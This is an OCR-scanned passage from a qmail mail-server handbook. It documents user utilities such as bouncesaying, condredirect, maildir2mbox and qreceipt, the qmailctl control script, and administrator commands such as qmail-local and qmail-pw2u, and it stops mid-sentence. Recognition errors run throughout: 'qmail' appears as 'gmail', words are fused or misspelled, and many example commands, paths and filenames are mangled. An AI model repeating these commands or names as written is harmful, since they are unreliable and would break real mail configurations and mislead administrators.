To bounce only those messages containing the string Subject: MAKE MONEY FAST and deliver everything eseto
$HOME/Maildir:

| bouncesaying "Go away." grep "~Subject: MAKE MONEY FAST"
./ Mai ldir/

condredir ect

Usage: condredirect address command

Description: The condredirect command accepts an e-mail address and acommand to be run. The command isrun
with the current message on standard input. If the command exits with a successful code (zero), condredirect
forwards the message to the supplied address and exits with the code 99, interrupting the processing of the dot-gmail
file. If the command exits with the code 111 (soft error), condredirect also exits with 111 so the dlivery will be
retried later. If the command exits with any other code or doesn't exist, condredirect exits with code O (zero) without
forwarding message.

Caveats: If you create a.gmall file to use condredirect, you must so add aline to deliver messages to your mailbox
because the default ddivery ingtructionswill no longer be used.

Example: To forward messages containing the string

Project X to project-x@example.com and deliver everything else to SHOME/Mailbox:

| condredirect project-x@xanple.comgrep -i "project x"
./ Mai | box

datemail

Usage: Same as sendmail

Description: datemail isasmple shell script wrapper around the gmail sendmail command. It uses predate to insert
aDate header fidd in thelocal time zone. Thisis useful when injecting messages viasendmail with an MUA that
doesn't include a Date field. gmail-inject will add a Date field to messages lacking one, but it uses Greenwich Mean
Time (GMT) instead of theloca time zone, which can be confusing.

Caveats: datemail doesn't check to see if amessage contains a Date field before adding one, so it should only be
used to inject messages that don't already contain one.



Example: Sending asmple test message using the command:

echo to: root | /var/qgmail/bin/sendmail -t

resultsin amessagelikethis

Date: 23 Apr 2001 01:11:15 -0000
From root @msh. exanpl e. com
to: root @msh. exanpl e. com

Using datemail, however:

echo to: root | /var/qgmail/bin/datemail -t

resultsin amessagelikethis

From root @msh. exanpl e. com
Date: 22 Apr 2001 21:11:30 -0400
to: root @msh. exanpl e. com

Notethat the Date field in the second test message contains -0400, which meansthe loca time zoneisfour hours
behind GMT, inthiscaseit is Eastern Daylight Savings Time.

elg

Usage: MAILDIR=maildir MAIL=mbox MAILTMP=tempfile elq
Description: elqissmple shdl script wrapper that runs maildir2mbox before invoking theelm MUA. Thedq

wrapper dlows oneto use maildir delivery with em, which doesn't support maildir mailboxes.

Caveats. Becausethe maildir mailbox isonly converted to mbox format before emisinvoked, messagesthat arrive
while the user isin g won't be seen. Because € g runs maildir2mbox, the MAILDIR, MAIL, and MAILTMP
environment variables must be set gppropriately before running €g. Seethe " maildir2mbox™ section for details.

except

Usage: except command

Description: except runs command and converts the exit code in amanner that reverses success and fallure as
bouncesaying and condredirect define them. If the command exits with code zero, except exitswith code 100. If the
command exits with code 111, except also exits with code 111. In al other cases, except exits with code zero.



Caveats: If you create a.gmail fileto use except, you must aso add aline to deliver messagesto your mailbox
because the default delivery ingtructionswill no longer be used.

Example: Say you want to bounce all messages that don't contain a certain header field and you want messages that
do contain the header fidd to befiled in BHOME/Maildir:

| bouncesayi ng "Perm ssion denied." except grep "“Password: nauseous ossifrage$"
./ Maildir/

forward

Usage: forward addresses

Description: forward reads a message on standard input and forwards a copy to each address. forward is handy
because the addresses specified can be constructed at the time of ddlivery, whereas forward ddiveriesin dot-gmail
filesare gatic.

Caveats: If you create a.gmail file to use forward, and you want to keep a copy of the forwarded message, you
must aso add alineto ddliver messagesto your mailbox because the default delivery ingructions will no longer be
used.

Example: Toforward dl unddiverablelocd mail to alocd mail server, put thefollowing in
Ivarlgmail/dias/.gmail-default, the sysem-wide caichdl dias.

| forward "$LOCAL@rai | hub. exanpl e. cont

Tip
Although it's not documented in the man
page, forward usesthe NEWSENDER
and DTLINE gmail-command
environment variables. Setting these
variables before calling forward could
be ussful in configurations that
masquerade users or hosts.

maildir 2mbox

Usage: MAILDIR=maildir MAIL=mbox MAILTMP=tempfile maildir2mbox

Description: maildir2mbox moves mail messages from the specified maildir to the specified mbox using the specified
temporary file. Note that the three arguments to maildir2mbox are passed through environment variables, not
command line arguments.



Caveats: MAILTMP and MAIL must reside on the samefile system. If MAILTMP and MAIL contain relative path
names (they don't start with adash), they'rereativeto MAILDIR, not the current working directory at thetime
maildir2mbox is executed. maildir2mbox locks MAIL to prevent s multaneous access by MUAS, but other
maildir2mbox processes are not locked out so you should be careful to run only one maildir2mbox at atime.

Example: User maryjane wants the messagesin $SHOME/Maildir moved to $HOME/Mailbox:

$ MAI LDl R=~/ Mai | di r

$ MAI L=~/ Mai | box

$ MAI LTMP=~/ mai | t enp

$ export MAILDI R MAIL NAILTMP

$ I's Mail box

I's: Mailbox: No such file or directory

$ mai | di r 2nbox

$Is -1 Mailbox

STW- - - - - 1 maryj ane maryj ane 18719 Apr 22 22:45 Mail box
$

maildirmake

Usage: maldirmake dir

Description: maildirmake creates an empty maildir mailbox in the specified directory.

Caveats: maildirmake must be run asthe user that ownsthe mailbox or gmail-loca will defer deliveries.

Example: User dixie wantsto create amaildir in SHOME/Maldir:

$ mail di rmake ~/ Mail dir
$1s -lId ~/Mildir

drwx------ 5 dixie di xi e 4096 May 9 19:54 Maildir
$1s -1 ~/Maildir

total 12

darwx------ 2 dixie di xi e 4096 May 9 19:54 cur
darwx------ 2 dixie di xi e 4096 May 9 19:54 new
darwx------ 2 dixie di xi e 4096 May 9 19:54 tnp

$

maildirwatch

Usage: MAILDIR=maildir maildirwatch

Description: Watchesthe maildir mailbox specified by the MAILDIR environment variable and prints amessage
when new mail arrives. maildirwatch isintended to be run inits own termina window.

Caveats: maildirwatch uses VT100 escape sequences, o runit in aVT100-compatible termina emulator such as



xterm.

Example: A user wantsto be notified when new mail is ddivered to SHOME/Maildir:

$ MAI LDl R=$HOVE/ Mai | di r

$ export MAILD R

$ mai |l di rwat ch

screen clears

FROM <geor ge@ ur key. exanpl e. conr TO <di xi e@log. exanpl e. conr
From " CGeorge" <george@ urkey. exanpl e. conp

Feedi ng tinme//Hey, when do they feed you?//-Georgel//

mailsubj

Usage: malsubj subject recipients

Description: mailsubj creates anew message with the specified subject and the body read from standard input, and
sendsit to the listed recipients.

Caveats: None

Example: A user wantsto send a quick message without using afull-featured MUA:

$ mail subj "Re: Feeding tine" george@ urkey. exanpl e. com
Usual Iy in the norning.

-Dixie
D
$

ping
Usage: MAILDIR=maildir MAIL=mbox MAILTMP=tempfile ping
Description: pingissmple shell script wrapper that runs maildir2mbox before invoking the pine MUA. The ping

wrapper dlows oneto use maildir ddivery with pine, which doesn't support maildir mailboxes without patching.

Caveats. Becausethe maildir mailbox isonly converted to mbox format before pineisinvoked, messagesthat arrive
whilethe user isin ping won't be seen. Because ping runs maildir2mbox, the MAILDIR, MAIL, and MAILTMP
environment variables must be set gppropriately before running ping. See the maildir2mbox section for details.

predate



Usage: predate command

Description: predate outputs a date header field to standard output, copies standard input to standard output, and
runs command. It's used to implement the datemail command.

Caveats: None

Example: To generate a date header field with the current time and date:

$ predate cat </dev/nul
Date: 12 May 2001 08:01: 24 -0400
$

Inthisexample, predate is run with null input and the program it runsis cat, which smply echoesitsinput the date
field generated by predate.

preline

Usage: preline[-d] [-f] [-r] command

Description: The preline command reads amail message on standard input, prepends one or more lines, and runs
the supplied command with the expanded message on standard input. By default, an mbox-style From line, a
Return-Path header field, and a Delivered-To header field are added to the message. The -d option suppressesthe

Ddivered-Tofidd, the -f suppressesthe From line, and the -r suppresses the Return-Peath field. prelineisfor running
MDAsthat expect From headers or aren't aware of the environment variables that gmail provides.

Caveats: Because it expectsto be run from adot-gmall file, preline requires the environment to contain the
UFLINE, RPLINE, and DTLINE variables.

Example: User doug wantsto run the procmail MDA from .gmail. Because procmail expects the messagesiit
receivesto start with aFrom line, prelineis used:

| preline procrail doug

gail

Usage: MAILDIR=maildir MAIL=mbox MAILTMP=tempfile gall

Description: gall issmple shell script wrapper that runs maildir2mbox before invoking the mail MUA. The gall

wrapper alows oneto use maildir ddivery with mail, which doesn't support maildir mailboxes.

Caveats. Becausethe maildir mailbox isonly converted to mbox format before mail isinvoked, messagesthat arrive



whilethe user isin gail won't be seen. Because gail runs maildir2mbox, the MAILDIR, MAIL, and MAILTMP
environment variables must be set appropriately before running gail. Seethe " maildir2mbox™ section for details.

grecelipt

Usage: greceipt myaddress

Description: The greceipt command scans a message on standard input for a header field matching
Notice-Requested-Upon-Delivery-To: myaddress. If amatch isfound, grecel pt sends a confirmation message to the
envel ope sender.

Caveats: If you create a.gmail fileto enable greceipt, you must also add aline to deliver messages to your mailbox
because the default ddivery ingtructionswill no longer be used.

Examples: User ebony on host cat.example.com wants to set her .gmail file to confirm delivery of messages. Her
mail is currently being delivered to SHOME/Maildir by default. She creates the following .gmail file:

./ Maildir/
| grecei pt ebony@at . exanpl e. com

To test her change, she sends hersalf amessage that lookslikethis:

From Ebony <ebony@at . exanpl e. conp

To: ebony@at . exanpl e. com

Subj ect: test

Not i ce- Request ed- Upon- Del i very-To: ebony@at . exanpl e. com

Testing greceipt.

Shortly after sending the message, she receives two messages: the test message above and a confirmation message
from greceipt:

From DELI VERY NOTI CE SYSTEM <ebony@at . exanpl e. con
To: <ebony@at . exanpl e. con>
Subj ect: success notice

H'! This is the qrecei pt program Your nessage was delivered to the
foll owi ng address: ebony@at. exanpl e.com Thanks for asking.
Your Message-|D: <20010512131945. 14882. gnui | @at . exanpl e. con»
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Conclusion

In this chapter you've learned how to inject new messagesvia SM TP and using the sendmail, gmail-inject, and
gmail-queue commands and why you might want to use one method or the other. Y ou've also learned how to control
the contents of messagesinjected using gmail-inject through the use of environment variables.

Then you learned how to handle incoming mail using dot-gmail filesto deliver to mailboxes, to deliver to programs, or
to forward messages to another address. Y ou also learned how to use extension addresses to manage your e-mail
address namespace. Findly, you learned about the utilities included with gmail for cregting, reading, and processing
mall.

In Chapter 5, "Managing gmail,” you'll learn how to manage agmail ingtalation. Well show you how to usethe
gmailctl script from Chapter 2, manage the queue, and use the mail administrator commands provided by gmail.
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Chapter 5. Managing gmail

Onceit'singtdled and configured, gmail requireslittle ongoing maintenance. In this chapter well look at the gmailctl
script from Chapter 2, gmail's mail administrator commands, and tools and techniques for managing the queue,

Overview

This chapter coversthe following management topics:

Firgt, well examine the gmailctl script introduced in Chapter 2, "Ingtaling gmail,” and see how it can be used
asgmail's management interface.

Next, well provide areference for gmail's management commands.

Finally, well look at the queue of unsent messages and learn how it can be monitored and safely modified.
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Understanding the gmailctl Script

The gmailctl script providesasmple, consstent interface for controlling and monitoring agmail ingdlation. The
gmailctl script is created and installed during the gmail installation process described in Chapter 2, "Ingaling gmail.”
In generd, it won't work on gmail ingtallations done using other instructions or methods such as Red Hat Package
Manager bundles (RPMs) or Berkeley Software Digtribution (BSD) ports athough it can easily be adapted to other
installations based on daemontool S'ucspi-tep.

Although many gmail administrators find the script convenient, itsuseis completely optiondl.
Using the gmailctl Script

The gmailctl script was designed to serve two purposes: It's compatible with the System V init.d startup/shutdown
scripts used to start and stop services according to system run level, and it's an interactive interface for manualy
controlling and monitoring gmail on both System Vand BSD-dyle systems.

System V init.d Script

AsaSysemV init.d sartup/shutdown script, gmailctl is symbolicdly linked into one or more rcN.d directories,
where N specifiesarun level from O (zero) to 6 (Sx). The name of thelink startswith K if gmail isto be stopped
(killed) when entering that run level or Sif gmail isto be started. Following the K or Sisatwodigit number that
indicates the order in which the various scriptsin rcN.d are to be run, from lowest to highest. Following the two-digit
number isthe name of the service, gmail. For example, agmail ingalation might have the following symbolic linksto
gmallct:

/etc/rc0. d/ K30gnai |
/etc/rcl. d/ K30gnui |
/etc/rc2.d/ S80qgnui |
/etc/rc3. d/ S80qgnui |
/etcl/rc4. d/ S80gnui |
/etc/rch. d/ S80qgnui |
/etc/rc6. d/ K30gnai |

When theinit.d mechanism runs these scripts, it passes them a start argument if the link starts with S or astop
argument if it gartswith K.



Note
The location of the directory that
containsthe rcN.d directories varies
across operating systems. Consult your
system documentation for information
about where it stores them.

I nteractive I nterface

Asan interactive control and monitoring interface, gmailctl is run with an optiona argument specifying the function to
be performed. For example, when run with no arguments, it prints a concise usage satement:

# gmail ctl

Usage: /usr/local/sbin/gmailctl {start]|stop|restart|doqueue|flush|rel oad|stat|
pause| cont | cdb| queue] hel p}

#

To execute the help function, which prints aquick description of each function, you do this:

# gmailctl help

stop -- stops mail service (sntp connections refused, nothing goes out)
start -- starts mail service (sntp connection accepted, mail can go out)
pause -- temporarily stops mail service (connections accepted, nothing |eaves)
cont -- continues paused mail service
stat -- displays status of mmil service
cdb -- rebuild the tcpserver cdb file for sntp
restart -- stops and restarts smp, sends qmail-send a TERM & restarts it
doqueue -- sends qmail-send ALRM schedul i ng queued nessages for delivery
reload -- sends gnuil-send HUP, rereading |ocals and virtual domai ns
gqueue -- shows status of queue
alrm-- sane as doqueue
flush -- same as doqueue
hup -- same as rel oad

These functions are described in the following sections.

Note
Most of the functions performed by
gmailctl requireroot privilege. Running
gmailctl asanorma user won't work,
but it won't do any harm either.

sart

Thistells the supervise processes associ ated with the gmail-send and gmail-smtpd servicesto start them. Once
started, gmail-send will process the queue, and messages will be ddlivered localy and remotely. Once started,

gmail-smipd will accept connections on the Smple Mail Transfer Protocol (SMTP) port and messageswill be
accepted or regjected.



Thisisan example:

# gmailctl start
Starting gmail
#

stop

Thistells the supervise processes associated with the gmail-send and gmail- smtpd servicesto stop them. While
gmail-send is stopped, no messages will be ddlivered locally or remotely, and messages queued by gmail-inject will
remain unprocessed. While gmail-smtpd is stopped, connectionsto the SVITP port will be refused.

Thisisan example:

# gmailctl stop

St oppi ng gmai | .
grai | - smt pd
grmai | - send

#

regtart

Thistemporarily takes the gmail-smtpd down while it restarts the gmail-send service. Restarting gmail-send causesit
toreread al of itscontrol files. Thisis necessary when changing any gmail-send control files except
Ivarlgmail/control/locals and /var/gmail/control virtual domains.

Thisisan example:

# gmailctl restart

Restarting gmail :

* Stopping gmail -snt pd.

* Sending gmail -send SI GTERM and restarting.
* Restarting gmail-sntpd.

#

doqueue, alrm, flush

This sends gmail-send an ALRM signd, causing it to schedule dl queued mail for an immediate delivery atempt.

Thisisan example:

# gmailctl flush



Sendi ng ALRM si gnal to gmail - send.
#

Note that thiswill not reschedule messages queued to hosts that have been recently unreachable. The gmail-tcpok
command (seethe " Learning gmail's Management Commands" section later in this chapter) can be used to make
gmail forget which hosts are unreachable.

reload, hup

This sends gmail-send aHUP signd, causing it to reread /var/gmail/control/locals and
Ivar/gmail/control virtua domains.

Thisisan example:

# gmailctl rel oad
Sendi ng HUP signal to gnail -send.
#

stat

Thisruns svstat on the gmail-send and gmail-smtpd services and their logging subservices. It runsthe gmail-gstat
command to print asummary of the current state of the queue.

Thisisan example:

# gmail ctl stat

/service/qgmail-send: up (pid 8310) 699 seconds
/service/gmail -send/1 og: up (pid 862) 91020 seconds
/service/qgmail-sntpd: up (pid 8318) 699 seconds
/service/gmail-sntpd/log: up (pid 861) 91020 seconds
nessages in queue: O

messages in queue but not yet preprocessed: 0O

#

pause

This sends the gmail-send and gmail-smtpd servicesa STOP signd, causing them to immediately stop functioning.
The cont function can be used to reactivate them. While gmail-send is paused, no messages will be ddlivered locally
or remotely. While gmail-smtpd is paused, connections to the SMTP port will be accepted but no dialogue will take
place.

Thisisan example:

# gmail ctl pause



Pausi ng gnai | - send

Pausi ng qnail - snt pd

# gmailctl stat

/service/gmail-send: up (pid 8310) 770 seconds, paused
/servicel/gmail-send/log: up (pid 862) 91091 seconds
/service/qgmail-smtpd: up (pid 8318) 770 seconds, paused
/servicel/gmail-smtpd/log: up (pid 861) 91091 seconds
nessages in queue: O

messages i n queue but not yet preprocessed: 0O

#

cont

This sends the gmail-send and gmail-smtpd servicesa CONT signa, causing them to immediately resume functioning
iIf they previoudy paused by the pause function.

Thisisan example:

# gmail ctl cont

Conti nui ng gnmai | - send

Conti nui ng gnai |l - snt pd

# gmail ctl stat

/service/gmail-send: up (pid 8310) 852 seconds
/service/gmail -send/1 og: up (pid 862) 91173 seconds
/service/qgmail-sntpd: up (pid 8318) 852 seconds
/service/gmail-sntpd/log: up (pid 861) 91173 seconds
nessages in queue: O

messages i n queue but not yet preprocessed: 0O

#

adb

This rebuilds the binary SMTP access control database, /etc/tcp.smtp.cdb, from the text database, /etc/tcp.smtp,
using the tcprules command from ucspi-tep.

Thisisan example:

# gmailctl cdb
Rel oaded /etc/tcp.smp
#

queue

Thisrunsthe gmail-gstat command to print asummary of the state of the queue and the gmail-gread command to
print the status of each message in the queue.

Thisisan example:



# gmail ctl queue

messages i n queue: 1

messages i n queue but not yet preprocessed: 0O

21 Jul 2001 19:55:31 GMI #93883 1532 <nj @ill.exanple.conp
renote crazymary@ sp. exanpl e. net

hdp

Thisdisplaysasummary of the functions provided by the gmailctl script. (Seethe previous example.)

L ogging

The gmailctl script kegpsalog that showswhen it was run, from which termind it was run, and which function was
executed. Thelog contains output from key commands that might be useful for troubleshooting.

Thisisan example:

Sun Jun 17 07:46:59 EDT 2001 /dev/consol e start
Sun Jun 17 13:09:30 EDT 2001 /dev/pts/0 cdb
Sun Jun 17 13:10:36 EDT 2001 /dev/pts/0 cdb
Sun Jun 17 13:15:43 EDT 2001 /dev/pts/0 cdb
Thu Jun 21 10: 24: 37 EDT 2001 /dev/pts/0 hup
Thu Jun 21 14:49: 31 EDT 2001 /dev/consol e stop

Thislog showsthat gmailctl start was run on the console on June 17 when the system was booted. Then gmailctl cdb
and gmailctl hup were run from a pseudo teletype (TTY), probably by the mail adminigtrator. Findly, gmailctl stop
was run on June 21 when the system was shut down.
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L ear ning gmail's Management Commands

In addition to the user utilities described in Chapter 4, "Using gmail,” gmail includes commandsfor the mail
adminigtrator or that implement part of the system's core functionality.

gmail-clean

Usage: gmail-cleen
Description: gmail-clean reads cleanup commands from descriptor O (zero), does the clean up, and reportsthe
results to descriptor 1 (one).

gmail-clean is started by gmail-start (see the " gmail-start” section) and receives commands from gmail-send.

Caveats: You should never run gmail-clean manudly. If gmail isrunning, gmail-clean isrunning and doing itsjob. If
you want to forcibly empty the queue, see the " Managing the Queue™ section later in this chapter.

gmail-getpw
Usage: gmail-getpw local

Description: gmail-getpw is caled by gmail-lspawn to determine which user isresponsible for mail sent to the locdl
address local . It returns Sx pieces of information:

Username the name of loca user that controls local

UID the user ID associated with the user

GID the group ID associated with the user

Home directory the user's home directory



Dash contains adash (hyphen) if local contains an extension, for example, ken-dojo

Extenson contains the extension (everything after the dash) if local containsone

An ASCII NUL character terminates each field in the outpuit.

gmail-getpw uses the operating system's getpwnam function to look up the user in /etc/passwd, the Unix user
database. gmail-getpw requires severa criteria of accountslisted in /etc/passwd before considering them to bevaid
mail accounts:

The UID must not be zero.

The home directory must exist and be visible to gmail-getpw.

The user must own their home directory.

The username must not contain uppercase |etters.

The username must be thirty-one characters or less.

If no vaid, matching user isfound, gmail-getpw assigns the addressto dlias, the gmail pseudo-user responsible for
sysem diases. When it doesthis, the "dash” fidd is set to - and the extenson is set to local . For example, if local is
isshinryu and theré's no entry in /etc/passwd for isshinryu, gmail-getpw's output looks asif local wasorigindly
diasisshinryu.

Caveats: gmail-getpw relies on the getpwnam function, which is somewhat unreliable because it doesn't distinguish
between temporary lookup failures and nonexistent users. The gmail-users mechanism, described in Chapter 3, can
be used to override gmail-getpw.

Examples: On asystem with aloca user named cleteth that meets the previous requirements:

$ /var/qgmail/bin/gmil-getpw cleteth | od -c

0000000 c I e t e t h \0 5 0 3 \0 5 0 3 \0
0000020 / h 0 m e / C | e t e t h \0 \0 \0
0000040

$

In this example, the output of gmail-getpw is passed through od to make the NUL field terminatorsvisible. In this



case, the username returned is cleteth, the UID is 503, the GID is 503, the home directory is/home/cleteth, and
"dash" and the extenson are null.

On the same system, adding an extension to the loca addressyields:

$ /var/qgmail/bin/gmail-getpw cleteth-dojo | od -c

0000000 c I e t e t h \0 5 0 3 \0 5 0 3 \0
0000020 / h o] m e / c | e t e t h \0 - \0
0000040 d o} i o \O

0000045

$

Theresults are smilar to the previous example, except that "dash” is set to - and the extension is dojo.

Findly, on the same system, which doesn't contain avaid isshinryu account:

$ /var/gmail/bin/gmail-getpwisshinryu | tr *\0" '\n'
alias

49492

31314

[var/gmail/alias

i sshinryu
$

Thistime, tr isused to turn the NUL s into newlines. The usernameisdias, the UID is49492, the GID is 31314
(nofiles), the home directory is/var/gmail/dias, "dash” is-, and the extension isisshinryu which is exactly the same
result that gmail-getpw aias-isshinryu would give.

gmail-local

Usage: gmail-local [-nN] user homedir local dash ext domain sender defaultdelivery
Description: gmail-local reads amail message on standard input and ddliversit to user. gmail-locd isusudly run by

gmail-lspawn. The -n option causes gmail-local to print adescription of the delivery ingructionsingtead of actualy
ddivering the message. The -N option, which isthe default, causes the message to be ddlivered.

The command-line arguments are

user : the username of the user to whom the messageis being delivered.

homedir : the absolute path of the directory in which gmail-loca will look for .gmail filesusudly user's home
directory.



local: the"locd" part (the part beforethe " @) of the envel ope recipient address.

dash: the"dash" part of the .gmail dashext file receiving messagesfor local . Usudly ether - if local hasan
extension or empty if it doesn't.

ext: the"ext" part of the .gmail dashext file receiving messagesfor local . Usually either contains the extension
if local hasone or empty if it doesn't.

domain: the "domain" part (the part after the @) of the envelope recipient address.

sender : the envel ope sender, or envelope return path.

defaultdelivery: the default delivery instructions supplied to gmail-start for deliveriesto addresses without
specificindructionsina.gmail file.

Before delivering the message, gmail-loca congtructs a Delivered-To header field containing local @domain. If the
message aready contains a Delivered-To field with the same contents, the message is assumed to be looping and a
bounce message is generated.

A Return-Path header fidd is constructed from sender .

If dash isempty, gmail-locd trests amissing .gmail dashext file the sameway it treats an empty dot-gmail file: it uses
theingructionsin defaultdelivery.

Caveats: The standard input for gmail-loca must be a"seekable” file not a pipe, socket, or fifo so gmail-loca can
read it more than once.

gmail-loca requires accessto homedir and any relevant .gmail filesin order to run with the -n option. Only root can
run gmail-local without the -n option because gmail-loca setsits UID to user.

Example: A user usesthe -n option to test the deliverability of amessageto aloca address:

# /var/qgmail/bin/gmail-local -n cleteth /hone/cleteth cleteth "" "" \
> exanpl e. com r oot @xanpl e. com ./ Mail dir/

mai ldir ./Mildir/

did 1+0+0

#



The output verifiesthat mail to local user cleteth would be ddlivered to the maildir mailbox /home/cleteth/Maildir.

A smilar test to an extension address, where no matching dot-gmail file exigts, givesan error:

# /var/qgmail/bin/gmail-local -n cleteth /hone/cleteth cleteth-dojo - \
> doj o exanpl e. com r oot @xanpl e.com ./ Maildir/

Sorry, no mailbox here by that nane. (#5.1.1)

#

gmail-Ispawn
Usage: gmall-lspawn defaultdelivery
Description: gmail-Ispawn reads ddlivery ingtructions from descriptor O (zero), invokes gmail-loca to perform the

ddiveries, and reports the status of the deliveriesto descriptor 1 (one). The defaultdelivery argument is passed to
gmail-locdl.

Before invoking gmail-local, gmail-Ispawn determines the local user that controls the address by first checking the
gmail-users mechanism (/var/gmail/users/cdb, see Chapter 3) then, if that fails, by calling gmail-getpw.

After determining the controlling user, gmail-Ispawn runs gmail-local with that user's UID and primary GID.
Supplemental groups to which the user belongs are not included or set up.

gmail-Ispawn is started by gmail-start (see the " gmail-gtart™ section) and receives commands from gmail-send.

Caveats: Y ou should never run gmail-lspawn manualy. If gmail isrunning, gmail-Ispawn is running and doing itsjob.
gmail-newmrh

Usage: gmail-nevmrh
Description: gmail-newmrh reads /var/gmail/control/morercpthosts (see Chapter 3) and creastes anew
Ivar/gmail/control/morercpthosts.cdb.

gmail-newmrh updates morercpthosts "atomicaly™ the new oneisbuilt in atemporary file and moved into place when
it's complete so gmail-smtpd never hasto wait for gmail-newmrh to finish, regardless of the Size of morercpthosts.

Caveats: gmail-newmrh does not implement locking to prevent multiple s multaneous attempts to update
morercpthosts.cdb.



Example: On asystem hosting alarge number of virtual domains, the mail administrator hasimplemented
morercpthosts. To add anew virtual domain, stout.example.com to morercpthosts.cdb, she does the following:

# echo stout.exanple.com>> /var/qmail/control/norercpthosts
# [var/qgmail /bi n/ gmai | - newnr h
#

gmail-newu

Usage: gmail-newu

Description: gmail-newu reads /var/gmail/users'assign (see Chapter 3) and creates anew
Ivar/gmail/control/users/cdb.

gmail-newu updates cdb "atomicaly” the new oneisbuilt in atemporary file and moved into place when it's complete
s0 gmail-lspawn never hasto wait for gmail-newu to finish, regardless of the size of assign.

Caveats: gmail-newu does not implement locking to prevent multiple s multaneous attempts to update cdb.

Example: On asystem using the gmail-users mechanism, the mail administrator has updated users/assign. To create
anew userg'cdb, she doesthe following:

# /var/qgmail/bin/ qnai | - newu
#

gmail-pop3d

Usage: gmail-pop3d maildir

Description: gmail-pop3d accepts Post Office Protocoal, version 3 (POP3, see http://mww.ietf.org/rfc/rfc1939.txt)
commands on standard input, accesses maildir as necessary, and sends the POP3 response to standard output.

gmail-pop3d supports the optiona POP3 commands UIDL, TOP, and LAST.

gmail-pop3d is normaly run by gmail-popup. Ingtructions for installing gmail-pop3d are provided in Chapter 10,
"Serving Mailboxes™

Caveats: |dle sessons are terminated after 20 minutes.

A blank line is appended to every message returned by gmail-pop3d as aworkaround for bugs in some POP3
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dients

Example: To verify that gmail-pop3d is functioning, or to experiment with the POP3 protocol, gmail-pop3d can be
runinteractively:

$ /var/gmail/bin/qmail-pop3d $HOVE/ Mai | di r/
+K

l'ist

+K

1 2667

2 2399

3 17690

quit
+K
$

In this example, the user used gmail-pop3d to access his main mailbox. The list command shows there are three
messagesin the mailbox and displaysthe size of each.

gmail-popup

Usage: gmail-popup hostname subprogram [args]

Description: gmail-popup reads authentication information from standard input using the POP3 protocol, then
invokes subprogram, passing the authentication information on descriptor 3. gmail-popup waits for subprogram to
finish and prints an error message if subprogram exits with anon-zero status.

gmail-popup supports both USER/PASS and APOP authentication.

Subprogram isnormaly Dan Berngtein's checkpassword or one of the variants available from http:/Amww.gmail.org/.

See Chapter 10, "Serving Mailboxes," for ingalation ingtructions.

Caveats: |dle sessions are terminated after 20 minutes.

POP3 should only be used on secure networks. USER/PA SS authentication passes reusable passwords over the
network unencrypted. Even APOP sessions, in which the password is not passed over the network, are susceptible
to being "hijacked" by an attacker.

Example: To verify that authentication using checkpasswvord isworking correctly, gmail-popup can be run
interactively:

# [var/gmail/bin/gmail - popup exanpl e.com /bi n/ checkpassword /bin/echo valid pw
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+OK <17668. 990972413@xanpl e. con>
user el aina

+K

pass wrongpass

-ERR aut hori zation fail ed

# [var/ gmai | / bi n/ gmai | - popup exanpl e. com / bi n/ checkpassword /bin/echo valid pw
+OK <17671. 990972454@xanpl e. con>
user el aina

+K

pass ri ght pass

valid pw

#

gmail-pw2u

Usage: gmail-pw2u [-/ohHuUC] [-cchar]

Description: gmail-pw2u reads /etc/passwd entries (see man 5 passwd) on standard input and generates a
gmail-users assign file on standard output. By default, gmail-pw2u uses the same rules as gmail-getpw to determine
vaid mall users.

For each valid user, gmail-pw2u generates two assign entries.

=user: user: U D: A D:/ hone/ user: ::
+user-:user: U D: d D:/hone/ user: -:

A catchdl wildcard entry isaso generated so system aiases will till work:
+:alias: UD.G@D:/var/qnuil/alias:-:
A find line conssting of asingledot (.) isaso included, as gmail-newu requires.

Table 5-1 describes gmail-pw2u's options.

Table 5-1: gmail-pw2u Options

OPTION MEANING
/ Use homedir/.gmail-/ext instead of homedir/.gmail-ext
0 (default) Skip user if homedir does not exis, is not owned by

user, or isnot visbleto gmail-pw2u

h Stop if homedir does not exist. Skip user if user does
not own homedir




H Do not check the existence or ownership of homedir
u Allow uppercase lettersin user

U (default) Skip user if there are any uppercase lettersin user

C Disable the user-extension mechaniam

cchar Use char asthe user-extension delimiter in place of -

Control Files: gmail-pw2u uses the following optiona filesto add to or remove from the output generated:

i ncl ude

A ligt of usersto beincluded from thefile generated. If include existsand user isnot listed ininclude, user isignored.

excl ude

A ligt of usersto be excluded from thefile generated. If exclude existsand user islisted in exclude, user isignored.

Tip
Y ou probably don't want to use both
include and exclude. Decide whether
you want new usersto be alowed or
denied mail accounts by default and
choose accordingly.

mai | nanes

A lig of dternative namesfor users. Each line hasthe form

user: mai | nanel: mai | nane?2: . ..

The addresses mailnamel, mailnamel-ext, mailname2, and so on will be ddivered to user .

Caution
The addresses user and user-ext will
not be ddlivered to user unlessuser is
listed as one of the mailnames.



For example, with the mailnames entry:

scott:scott.mller:asmller:smller

Mail to scott.miller, asmiller, and smiller will be ddivered to user scott, but mail to scott will not.

Linesinmailnamesare silently ignored if user doesn't exist.

subusers

A list of "subusers' extra addresses handled by auser. Each line hastheform

sub: user: pre:

The address sub will be handled by homedir/.gmail-pre, where homedir is user's home directory, and the address
sub-ext will be handled by homedir/.gmail-pre-ext.

For example, with the following entry in subusers, user bill receivesmail for cleteth via$HOME/.gmail-cleteth and
mail for cleteth-dojo via$HOM E/gmail-cleteth-dojo or $HOME/.gmail-cleteth-defaullt:

cleteth:bill:cleteth:

append

A ligt of miscellaneous assgnmentsin assgn format (see Chapter 3, "Configuring gmail: The Bascs') printed at the
end of gmail-pw2u's outpuit.

Caveats: If you're using gmail-users, after changing any usernames, UIDs, GIDs, or home directoriesin /etc/passwd,
you must rerun gmail-pw2u and gmail-newu if you want gmail-Ispawn to see the changes.

Example: To generate an assgn equivaent to the default gmail-getpw behavior and build cdb from the new assign
file dothis

# [var/qgmail/bin/qgmail-pw2u < /etc/passwd > /var/qmail/users/assign
# /var/qgmail/bin/ qmai |l - newu
#

If you did that and noticed that some of the usersin assign are not valid mail users, you could add them to exclude,
regenerate assgn, and rebuild cdb:

# echo pcguest >> /var/qnail/users/exclude



# echo xfs >> [var/qgmail/users/excl ude

# [var/qgmail/bin/gnmail-pw2u < /etc/passwd > /var/qmail/users/assign
# [var/qgmail/bin/gmail -new

#

gmail-gmgpc
Usage: gmail-gmgpc

Description: gmail-gmgpc is adrop-in replacement for gmail-queue (seethe " gmall-queue” section) that queuesa
message to aremote Quick Mail Queueing Protocol (QMQP) server (http://cr.yp.to/proto/gmagp.html).

In"mini-gmail" ingtdlations, gmail-queue is replaced with asymboalic link to gmail-gmapc.

Control Files: gmail-gmapc uses one configuration file, /var/gmail/control/gmgpservers, which isalist of Internet
